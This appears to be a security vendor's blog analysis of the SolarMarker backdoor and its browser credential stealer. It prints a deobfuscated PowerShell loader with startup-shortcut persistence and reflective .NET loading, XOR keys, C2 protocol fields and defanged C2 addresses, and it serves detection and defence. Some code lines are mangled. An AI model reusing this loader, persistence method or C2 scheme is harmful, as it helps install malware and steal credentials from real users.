Blocking SolarMarker Backdoor

In this blog, we take a look at a recent detection that was blocked by the CrowdStrike Falcon®® platform’s next-generation antivirus (NGAV). SolarMarker* backdoor features a multistage, heavily obfuscated PowerShell loader, which leads to a .NET compiled backdoor being executed. This blog details how the CrowdStrike Falcon® Complete™ team detected the binary using the Falcon UI, our deobfuscation of the initial stages, and how we collaborate with the CrowdStrike Intel team to conduct further analysis and protect our customers from emerging threats.

 

 

 

 

 

 

 

 

 

Falcon Complete Triage

On Oct. 12, 2020, the Falcon Complete team began receiving detections for likely malicious PowerShell scripts affecting multiple customer environments. Falcon Prevent™ NGAV prevented the processes from running because the script displayed characteristics common to other known malicious scripts.
Falcon UI showing detection and prevention Figure 1. Falcon UI showing detection and prevention. (Click to enlarge)
Command lines associated with the detections were immediately flagged as suspicious because they were executing the contents of a temporary file, then removing the file immediately after running.
SolarMarker PowerShell command line Figure 2. SolarMarker PowerShell command line
Examination of this activity through Falcon’s Process Explorer tree raised additional red flags due source of the detection being files downloaded via web browsers that were executable but masquerading as document files.
Process Explorer Figure 3. Process Explorer showing SolarMarker process execution chain and prevention. (Click to enlarge)
When reviewing the installer executable details

 

(SHA256:3e99b59df79d1ab9ff7386e209d9135192661042bcdf44dde85ff4687ff57d01), it was observed that the files were signed by a seemingly unrelated certificate signer with a recent first-seen date.
SolarMarker related certificate details Figure 4. SolarMarker related certificate details
Researching the installer executable in public malware repositories established that the file was first uploaded a few days beforehand. Suspicions were further raised by the large file size (114MB) along with the executable masquerading as a Microsoft Word document. These

 

suggested possible attempts to evade antivirus detection.
SolarMarker installer executable icon Figure 5. SolarMarker installer executable icon
The installer also dropped legitimate binaries such as an application called “Docx2Rtf” (a known document converter) and a demo of “Expert PDF.” The Falcon Complete team concluded that the technique was used to convince victims that they had downloaded a corrupt document or required additional software to view the document.
Docx2rtf Application Figure 6. Docx2rtf Application
Further triage was performed using Falcon’s Real Time Response (RTR) mechanism to connect to an affected system and directly examine the PowerShell file referenced in the detection command line. The script performed an XOR decryption of data contained in a second similarly named text file that, when decoded, contained another obfuscated PowerShell script.
SolarMarker PowerShell obfuscation Figure 7. SolarMarker PowerShell obfuscation. (Click to enlarge)
Although these processes were being blocked by the Falcon sensor, the Falcon Complete team decoded multiple levels of obfuscation and encryption and confirmed that the PowerShell script was malicious.

 

The analysis identified persistence mechanisms and a command and control (C2) IP address within the decrypted payload of the script. Using these indicators of compromise (IOCs), the Falcon Complete team was able to verify that the malware was successfully blocked in all customer environments.
Strings from SolarMarker payload Figure 8. Strings from SolarMarker payload
The investigation did not establish any clear link between targeted customers: The malware appeared across multiple different verticals, in different regions and countries, and affected customers of various sizes. Initially, the infection vector appeared to be from phishing, but no strong correlation with email client activity was observed, which usually occurs during phishing campaigns.

 

In the initial analysis, the Falcon Complete team could not link the malicious files to any known malware families or threat actor campaigns and engaged the CrowdStrike Intelligence team to investigate further.

CrowdStrike Intel Analysis

Based on observed filenames in public malware repositories (e.g., Advanced-Mathematical-Concepts-Precalculus-With-Applications-Solutions.exe) and Falcon telemetry, the hypothesis is that the malware is delivered as a fake document download targeting users performing web searches for document files. CrowdStrike has observed a number of Google Sites hosted pages as lure sites for the malicious downloads. These sites advertise document downloads and are often highly ranked in search results. The use of Google Sites suggests attempts by the threat actors to increase search ranking.

 

The malware installer filenames and lure sites have only been observed in English so far, and based on Falcon telemetry, it is clear that SolarMarker is most prevalent in Western countries, especially in the U.S.
SolarMarker Infection Distribution Figure 9. SolarMarker Infection Distribution
The executable with SHA256 hash

 

3e99b59df79d1ab9ff7386e209d9135192661042bcdf44dde85ff4687ff57d01 is an Inno Setup Installer. This program is the first stage in a multi-stage dropper chain leading to the SolarMarker backdoor. Figure 10 gives an overview of the malware’s dropper chain.
Overview of the SolarMarker Dropper Chain Figure 10. Overview of the SolarMarker Dropper Chain
The installer uses Inno Setup’s Pascal Scripting feature to customize its actions. It will first extract two temporary files to %Tmp%\<unique>.tmp\<filename>, where <unique> is a unique directory name. The two files are the following:
FilenameSHA256 hash
Docx2Rtf.execaf8e546f8c6ce56009d28b96c4c8229561d10a6dd89d12be30fa9021b1ce2f4
waste.datd730b47b0e8ce6c093fb492d2483a45f8bc93cac234a592d34c09945653daf4d
Both files will be deleted once the installer completes. The file Docx2Rtf.exe

 

is the document converter Docx2Rtf version 4.4, a benign file. The file
waste.dat is 112 MB in size, but contains only zero bytes, indicating that the file was only included in the installer to increase its size, which is known to prevent detection by some security products. Once these two files are extracted, Docx2Rtf.exeis executed and the installer sleeps for five seconds. Then the installer checks if it is executed on one of its targeted operating system (OS) versions and exits if not. The targeted versions are Windows 8.1, Windows Server 2012 R2, Windows 10 and Windows Server 2016. After being certain about the OS, the installer decrypts a third stage and writes it to %Temp%\<random>.txt, where <random> is a random 32-character hexadecimal string. The third stage is encrypted twice with different keys, and the installer will only decrypt it once. The decryption function named DECRYPTPS takes in a hex-encoded-encrypted blob and a string-based key and performs a simple XOR operation. The function can be replicated in Python as follows:
def decryptps(enc_payload,key):

 

 

 

enc_payload = unhexlify(enc_payload)

 

 

 

key = key.encode("utf-8")

 

 

 

res=""

 

 

 

for i in range(0,len(enc_payload)):

 

 

 

 

 

cur_enc_byte=enc_payload

 

 

 

 

 

key_byte = keylen(key)>

 

 

 

 

 

decrypted_byte = cur_enc_byte ^ key_byte

 

 

 

 

 

res += chr(decrypted_byte)

 

 

 

return res
After saving the one-time-decrypted third stage, the installer writes a second-stage PowerShell script to %Temp%\<random>.txt and executes it. This second stage contains the path to the previously written third stage.

Second Stage

The second stage’s sole purpose is decrypting the one-time-decrypted third stage written by the installer. All PowerShell scripts observed throughout the dropper chain use the same decryption algorithm, which in Python looks as follows:
def powershell_xor_decrypt(base64_encoded_payload,key):

 

 

 

encrypted_payload=base64.b64decode(base64_encoded_payload)

 

 

 

key=key.encode(
"utf-8")

 

 

 

res=
""

 

 

 

for
i in range(0,len(encrypted_payload)):

 

 

 

 

 

cur_enc_byte=encrypted_payload

 

 

 

 

 

key_byte=keylen(key)>

 

 

 

 

 

decrypted_byte= cur_enc_byte ^ key_byte

 

 

 

 

 

res +=
chr(decrypted_byte)

 

 

 

return
res
The second stage will use the above algorithm to Base64-decode the one-time-decrypted third stage and XOR it with the following key: ZleyoPSJVRHxIWGgnjbYmKUOvfQTsqMXhCtpzkdirBELcaDNwuAF. The decrypted third stage is subsequently executed using Invoke-Expression.

Third Stage

The third stage drops a fourth stage to %AppDaTa%\Microsoft\<RND4>\<RND8>.cmd where <RND4> and <RND8> are four and eight random characters, respectively.

 

Additionally, the third stage writes the Base64-decoded backdoor to %AppDaTa%\microsoft\<RND4>\<RND52> where <RND4> and <RND52> are four and 52 random characters, respectively. This Base64-decoded backdoor has the following SHA256 hash: 45ea9b5697517f7bdc5af83c62bb8de7821baef9463c466cfc0e881f21c32011 Furthermore, the third stage modifies shortcuts (.LNK files) on the desktop of the current user and .LNK files that are shared by all users on their desktop. The third stage will alter some, but not all shortcuts to also execute a third stage, which is discussed below. A shortcut is changed only if its target path points to an existing file that has a file extension. Additionally, the shortcut is only modified when this target path does not contain the substring cmd.exe. Also, shortcuts with arguments are not altered. All other shortcuts are modified to execute their original target using cmd.exe but additionally run a fourth stage. Once the shortcuts have been modified, the third stage executes the fourth stage directly.

Fourth Stage

The following is a deobfuscated version of the fourth stage:
$path_to_persist=$env:appdata+'\microsoft\windows\start menu\programs\startup\a7f9214c3844f0a883268d3853ba7.lnk';
If(-not(test-path $path_to_persist)){

 

 

 

$wscript_shell=new-object -comobject wscript.shell;

 

 

 

$shortcut=$wscript_shell.createshortcut($path_to_persist);

 

 

 

$shortcut.windowstyle=
7;

 

 

 

$shortcut.targetpath=<path to fourth stage>;

 

 

 

$shortcut.save();
}; If((get-process -name '*powershell*').count -lt 15){
$xor_key="XlA7P25AfkVNcUBzKnJgXk5FbXk+VmNsfHdXcVo0dlkpIX5vVXh3cHVlK2h+aGxSTkZ3MjdWYXB8NkFVdCtCNTFvVHNQb3pPU00ycUA5YGF1OX5+XnBgZmVzcW87eEFzRVA4bXFOVlZicmlKdXtwUDJLRngyNXV3dChXcVd3WHlOQ3hWYGgwaUd1TEVoTDdyYHE0Sm9Fc1FAcXZKO15SfF8qXk9jTzNAUyY4cEBydDBCQHd0Ylc+YjlIbnY4Szg1aUpfUDl3Nn5lIW01dVZWblk7MTJrZXVfN3h9eCV0cU9TNnlvd2Y2cnBOUjZna2MjN3dqUFo9SXRAND9wa0xqVmFeUlItMkB1ajcoQHF2bnNeMXIqMUBWJWEmQHJaem4="; $decrypted_backdoor<system.io.file>::readallbytes(<system.text.encoding>::utf8.getstring(<system.convert>::frombase64string('QzpcVXNlcnNcZXhhbXBsZV91c2VyXEFwcERhdGFcUm9hbWluZ1xNSUNyb1NPZlRcU1lIclxPRnJTR1ZkVFdheGttS0llQW5Vb1p3Y0N5dmlzYlFOcVJ6dXBKRWhQZ01qdFhmRExsSFlC')));

 

 

 

For
($i=0;$i -lt $decrypted_backdoor.count;){

 

 

 

 

 

For
($j=0;$j -lt $xor_key.length;$j++){

 

 

 

 

 

 

 

 

$decrypted_backdoor<$i>=$decrypted_backdoor<$i> -bxor $xor_key<$j>;

 

 

 

 

 

 

 

 

$i++;

 

 

 

 

 

 

 

 

If
($i -ge $decrypted_backdoor.count){

 

 

 

 

 

 

 

 

 

 

$j=$xor_key.length

 

 

 

 

 

 

 

 

}

 

 

 

 

 

}

 

 

 

};

 

 

 

<
system.reflection.assembly>::load($decrypted_backdoor);

 

 

 

<
d.m>::run() }
This script establishes persistence by creating a shortcut under the following path:
%AppData%\microsoft\windows\startmenu\programs\startup\a7f9214c3844f0a883268d3853ba7.lnk
This shortcut then points to the fourth stage itself. Once persistence has been established, the fourth stage then Base64-decodes a path to the Base64-decoded backdoor. Recall that the Base64-decoded backdoor had been written to %AppDaTa%\microsoft\<RND4>\<RND52> by the third stage. In the presented fourth stage sample, this Base64-encoded path is:
QzpcVXNlcnNcZXhhbXBsZV91c2VyXEFwcERhdGFcUm9hbWluZ1xNSUNyb1NPZlRcU1lIclxPRnJTR1ZkVFdheGttS0llQW5Vb1p3Y0N5dmlzYlFOcVJ6dXBKRWhQZ01qdFhmRExsSFlC
which decodes to the following path:
C:\Users\example_user\AppData\Roaming\MICroSOfT\SYHr\OFrSGVdTWaxkmKIeAnUoZwcCyvisbQNqRzupJEhPgMjtXfDLlHYB
The file referenced by this path is read and then XORed with the following key:
XlA7P25AfkVNcUBzKnJgXk5FbXk+VmNsfHdXcVo0dlkpIX5vVXh3cHVlK2h+aGxSTkZ3MjdWYXB8NkFVdCtCNTFvVHNQb3pPU00ycUA5YGF1OX5+XnBgZmVzcW87eEFzRVA4bXFOVlZicmlKdXtwUDJLRngyNXV3dChXcVd3WHlOQ3hWYGgwaUd1TEVoTDdyYHE0Sm9Fc1FAcXZKO15SfF8qXk9jTzNAUyY4cEBydDBCQHd0Ylc+YjlIbnY4Szg1aUpfUDl3Nn5lIW01dVZWblk7MTJrZXVfN3h9eCV0cU9TNnlvd2Y2cnBOUjZna2MjN3dqUFo9SXRAND9wa0xqVmFeUlItMkB1ajcoQHF2bnNeMXIqMUBWJWEmQHJaem4=
The result of this decryption is a .NET executable with the following SHA256 hash: ceb42fea3be898251028e2c5128a69451212bcb48a4871454c60dc2262426677 Finally, the fourth stage loads the executable as .NET assembly and calls the D::M.Run method.

Backdoor

This Run function is the entry point of the SolarMarker backdoor (alias C2 Jupyter client). Initially, the backdoor generates a 32-byte random string as a victim ID and saves it under %AppData%\AppData\Roaming\solarmarker.dat. Additionally, the malware collects information about the computer and sends an initial request to its C2 server at http<:>//45.135.232<.>131. Communication between the backdoor and its C2 servers is facilitated via a JSON-like protocol where each message is encrypted using the following hardcoded XOR key: 4qMpLcYfVM4eimGl4Qz7cxPiafbL9edWpM1O Once encrypted, messages are Base64-encoded and sent via a POST request to the C2 server. The initial message contains the following information:
KeyDescription
actionRequest type for messages sent from backdoor to C2. In the initial message from the backdoor, this has value ping.
hwidUniquely identifies victim PC using a randomly generated string of length 32.
pc_nameMachine name of the PC
os_nameOperating system version including service pack
archCPU architecture
rightsRights of the executing user
workgroupWorkgroup of the PC
versionVersion of the backdoor. In the analyzed sample, this has value DR/1.0.
protocol_versionLikely version of the C2 communication protocol. In the analyzed sample, this value is 1.
The C2 server then responds to this message using a task that is either of type status=command, status=file, or status=idle. Tasks of type idle contain nothing else but the status field. Task for command type:
KeyDescription
statusType of command from C2
commandCommands to execute using PowerShell
Task for file:
KeyDescription
statusType of command from C2
task_idTask ID likely used to reidentify a started task
typeType of file to be executed. This can either be the file extension exe or ps1.
Tasks of command type are directly executed via PowerShell and the backdoor waits 30 seconds before sending another initial message to request a new task. For file tasks, the client requests the file to execute using the following message:
KeyDescription
actionThe request type to retrieve a file is get_file.
hwidUnique identifier for victim PC
task_idTask ID from the task which requested a file to be executed
protocol_versionVersion of the C2 communication protocol. In this sample, the version is 1.
The C2 then answers with a payload that is saved under %Temp%\<RND24>.<exe/ps1> with the respective extension, where <RND24> are 24 random characters. Next the payload is executed. After 30 seconds, the backdoor sends the following message to the C2:
KeyDescription
actionThe request type to report the execution of a file is change_status.
hwidUnique identifier for victim PC
task_idTask ID from the task that requested a file to be executed
is_successAlways set to true. Independent of the exit code of the executed payload.
protocol_versionVersion of the C2 communication protocol. In the observed sample, the version is 1.
The C2 is expected to respond with a new task to this message.

Credential Harvester

On Oct. 15, 2020, CrowdStrike Intelligence observed the backdoor distributing a credential harvester. CrowdStrike Intelligence dubbed this malware SolarMarker Stealer (aka Jupyter Stealer). The stealer's first stage is a PowerShell script with the following SHA256 hash:

 

2a8bc51367801c87ca2c64fdad1d0b06f91bbbc4f0f16ad18dbc122fda3d1a87 This PowerShell script contains a Base64-encoded payload with the following SHA256 hash: 73dcbbf322b72e2cf675ca3356a7ece34e24108a82ad36eeb98596a35c8fdb16 This payload is Base64-decoded and then XORed using the following key:
QH5WcmheMHRucV5TSDZUQHYpKG1eb29WQl5TITtHQHF2d3peMEE0NEBScGFiXlNgYURAc3pac0B7Tj9lXjFoRkBeb293S0B1ckJIXjBKSjleTXxnYV4wYj96Xm47eldAcXZ3fUB8JUlGQH1yRHtAfEMqMV5RRT94QHJrI1RAc0Vnfl4wMkktQHd0ZSU+WWNDVHlRdVRJb1NFezB4VUtOS3JqN0hlcGBgR2J3dyZeYWlANVRwd1ZMcD12IT9UbnRDYU1EdSRsNilybm04KGlMVWFZdiFl
The resulting payload with SHA256 hash ce486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d03c601 is a .NET based credential harvester configured for the C2 server https<:>//vincentolife<.>com/j. The malware is capable of stealing passwords, cookies and form auto-completion data from Google Chrome and Mozilla Firefox. Additionally, the stealer extracts the certificate and key databases from Firefox. The stolen data is sent to the C2 at https<:>//vincentolife<.>com/j/post?q= using a POST request, where the GET parameter q is a JSON array containing the following information about the victim PC:
KeyDescription
hwidUniquely identifies victim PC using a randomly generated string of length 32. Saved in %userprofile%\AppData\Roaming\solarmarker.dat
pnMachine name of the PC
osOperating system version including service pack
xCPU architecture
prmRights of the executing user
verLikely version of the stealer. In the analyzed sample, this has value CSDN/1.8
Further, SolarMarker Stealer is capable of decrypting data for the current user that has been encrypted using Microsoft's Data Protection API.

Indicators of Compromise

Files

DescriptionPath if applicableSHA256 hash if applicable

 

Second stage%Temp%\<random chars>.txtChanges due to randomly generated path to third stage it contains

 

Encrypted third stage%Temp%\<random chars>.txte82a58e59321852c6857aa511472cbb7327822461a03e3c189304b2c36f17273
Third stageNone2860a7b98dbfc4c10347187e79d7528a875dd71a893ce025190b57bcb1bcc0f0
Fourth stage%AppData%\microsoft\<RND4>\<RND8>.cmdChanges due to randomly generated paths it contains
Encrypted backdoorNoneb3e6a879d4ac3fff34b520f39994639df26e846087632fb7505e89a4da220868
Base64-decoded backdoor%AppData%\microsoft\<RND4>\<RND52>45ea9b5697517f7bdc5af83c62bb8de7821baef9463c466cfc0e881f21c32011
BackdoorNoneceb42fea3be898251028e2c5128a69451212bcb48a4871454c60dc2262426677
SolarMarker Stealer first stage%Temp%\<RND24>.ps12a8bc51367801c87ca2c64fdad1d0b06f91bbbc4f0f16ad18dbc122fda3d1a87
SolarMarker StealerNonece486097ad2491aba8b1c120f6d0aa23eaf59cf698b57d2113faab696d03c601
Victim ID%userprofile%\AppData\Roaming\solarmarker.datChanges due to randomly generated content

Network

DescriptionC2
SolarMarker Backdoor C2http<:>//45.135.232<.>131
SolarMarker Stealer C2https<:>//vincentolife<.>com/j
*The SolarMarker backdoor was originally named in public reporting in October 2020 and is not in any way related to the recent high-profile SUNBURST/SUNSPOT intrusion activity.

Additional Resources

Breaches Stop Here